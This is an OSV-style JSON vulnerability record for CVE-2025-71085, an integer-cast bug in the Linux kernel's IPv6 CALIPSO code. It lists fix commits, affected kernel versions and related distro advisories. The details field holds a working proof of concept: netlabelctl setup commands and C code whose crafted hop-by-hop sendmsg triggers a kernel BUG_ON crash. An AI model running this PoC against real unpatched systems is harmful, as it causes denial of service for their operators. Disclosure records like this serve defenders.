{"id":"CVE-2025-71085","summary":"ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()","details":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, &msg, 0);","modified":"2026-04-02T17:30:41.166300Z","published":"2026-01-13T15:34:48.324Z","related":["ALSA-2026:3488","ALSA-2026:3963","ALSA-2026:3964","ALSA-2026:4012","MGASA-2026-0017","MGASA-2026-0018","SUSE-SU-2026:0447-1","SUSE-SU-2026:0471-1","SUSE-SU-2026:0472-1","SUSE-SU-2026:0473-1","SUSE-SU-2026:0474-1","SUSE-SU-2026:0475-1","SUSE-SU-2026:0495-1","SUSE-SU-2026:0496-1","SUSE-SU-2026:0587-1","SUSE-SU-2026:0617-1","SUSE-SU-2026:0939-1","SUSE-SU-2026:0940-1","SUSE-SU-2026:0941-1","SUSE-SU-2026:0943-1","SUSE-SU-2026:0944-1","SUSE-SU-2026:0945-1","SUSE-SU-2026:0946-1","SUSE-SU-2026:0951-1","SUSE-SU-2026:0953-1","SUSE-SU-2026:0954-1","SUSE-SU-2026:0958-1","SUSE-SU-2026:0964-1","SUSE-SU-2026:0967-1","SUSE-SU-2026:0970-1","SUSE-SU-2026:0983-1","SUSE-SU-2026:0985-1","SUSE-SU-2026:0992-1","SUSE-SU-2026:0997-1","SUSE-SU-2026:1000-1","SUSE-SU-2026:1002-1","SUSE-SU-2026:1039-1","SUSE-SU-2026:1044-1","SUSE-SU-2026:1046-1","SUSE-SU-2026:1048-1","SUSE-SU-2026:1049-1","SUSE-SU-2026:1059-1","SUSE-SU-2026:1073-1","SUSE-SU-2026:1083-1","SUSE-SU-2026:1088-1","SUSE-SU-2026:1089-1","SUSE-SU-2026:1096-1","SUSE-SU-2026:1099-1","SUSE-SU-2026:1100-1","SUSE-SU-2026:1101-1","SUSE-SU-2026:1102-1","SUSE-SU-2026:1125-1","SUSE-SU-2026:1131-1","SUSE-SU-2026:1132-1","SUSE-SU-2026:1136-1","SUSE-SU-2026:20477-1","SUSE-SU-2026:20498-1","SUSE-SU-2026:20555-1","SUSE-SU-2026:20599-1","SUSE-SU-2026:20615-1","SUSE-SU-2026:20828-1","SUSE-SU-2026:20829-1","SUSE-SU-2026:20830-1","SUSE-SU-2026:20831-1","SUSE-SU-2026:20832-1","SUSE-SU-2026:20836-1","SUSE-SU-2026:20837-1","SUSE-SU-2026:20840-1","SUSE-SU-2026:20841-1","SUSE-SU-2026:20842-1","SUSE-SU-2026:20845-1","SUSE-SU-2026:20847-1","SUSE-SU-2026:20848-1","SUSE-SU-2026:20849-1","SUSE-SU-2026:20850-1","SUSE-SU-2026:20851-1","SUSE-SU-2026:20852-1","SUSE-SU-2026:20853-1","SUSE-SU-2026:20854-1","SUSE-SU-2026:20855-1","SUSE-SU-2026:20856-1","SUSE-SU-2026:20857-1","SUSE-SU-2026:20858-1","SUSE-SU-2026:20859-1","SUSE-SU-2026:20860-1","SUSE-SU-2026:20861-1","SUSE-SU-2026:20862-1","SUSE-SU-2026:20863-1","SUSE-SU-2026:20864-1","SUSE-SU-2026:20865-1","SUSE-SU-2026:20866-1","SUSE-SU-2026:20876-1","SUSE-SU-2026:20880-1","SUSE-SU-2026:20881-1","SUSE-SU-2026:20882-1","SUSE-SU-2026:20883-1","SUSE-SU-2026:20884-1","SUSE-SU-2026:20885-1","SUSE-SU-2026:20886-1","SUSE-SU-2026:20887-1","SUSE-SU-2026:20888-1","SUSE-SU-2026:20889-1","SUSE-SU-2026:20891-1","SUSE-SU-2026:20892-1","SUSE-SU-2026:20893-1","SUSE-SU-2026:20894-1","SUSE-SU-2026:20895-1","SUSE-SU-2026:20896-1","SUSE-SU-2026:20897-1","SUSE-SU-2026:20898-1","SUSE-SU-2026:20899-1","SUSE-SU-2026:20900-1","SUSE-SU-2026:20943-1","SUSE-SU-2026:20944-1","SUSE-SU-2026:20945-1","SUSE-SU-2026:20946-1","SUSE-SU-2026:20947-1","openSUSE-SU-2026:20287-1"],"database_specific":{"osv_generated_from":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71085.json","cna_assigner":"Linux"},"references":[{"type":"WEB","url":"https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1"},{"type":"WEB","url":"https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83"},{"type":"WEB","url":"https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910"},{"type":"WEB","url":"https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570"},{"type":"WEB","url":"https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2"},{"type":"WEB","url":"https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24"},{"type":"WEB","url":"https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71085.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71085"},{"type":"PACKAGE","url":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","events":[{"introduced":"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3"},{"fixed":"86f365897068d09418488165a68b23cb5baa37f2"},{"fixed":"6b7522424529556c9cbc15e15e7bd4eeae310910"},{"fixed":"2bb759062efa188ea5d07242a43e5aa5464bbae1"},{"fixed":"c53aa6a5086f03f19564096ee084a202a8c738c0"},{"fixed":"bf3709738d8a8cc6fa275773170c5c29511a0b24"},{"fixed":"73744ad5696dce0e0f43872aba8de6a83d6ad570"},{"fixed":"58fc7342b529803d3c221101102fe913df7adb83"}]}],"database_specific":{"source":"https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2025-71085.json"}},{"package":{"name":"Kernel","ecosystem":"Linux"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.8.0"},{"fixed":"5.10.248"}]},{"type":"ECOSYSTEM","events":[{"introduced":"5.11.0"},{"fixed":"5.15.198"}]},{"type":"ECOSYSTEM","events":[{"introduced":"5.16.0"},{"fixed":"6.1.160"}]},{"type":"ECOSYSTEM","events":[{"introduced":"6.2.0"},{"fixed":"6.6.120"}]},{"type":"ECOSYSTEM","events":[{"introduced":"6.7.0"},{"fixed":"6.12.64"}]},{"type":"ECOSYSTEM","events":[{"introduced":"6.13.0"},{"fixed":"6.18.4"}]}],"database_specific":{"source":"https://storage.googleapis.com/osv-test-cve-osv-conversion/osv-output/CVE-2025-71085.json"}}],"schema_version":"1.7.5"}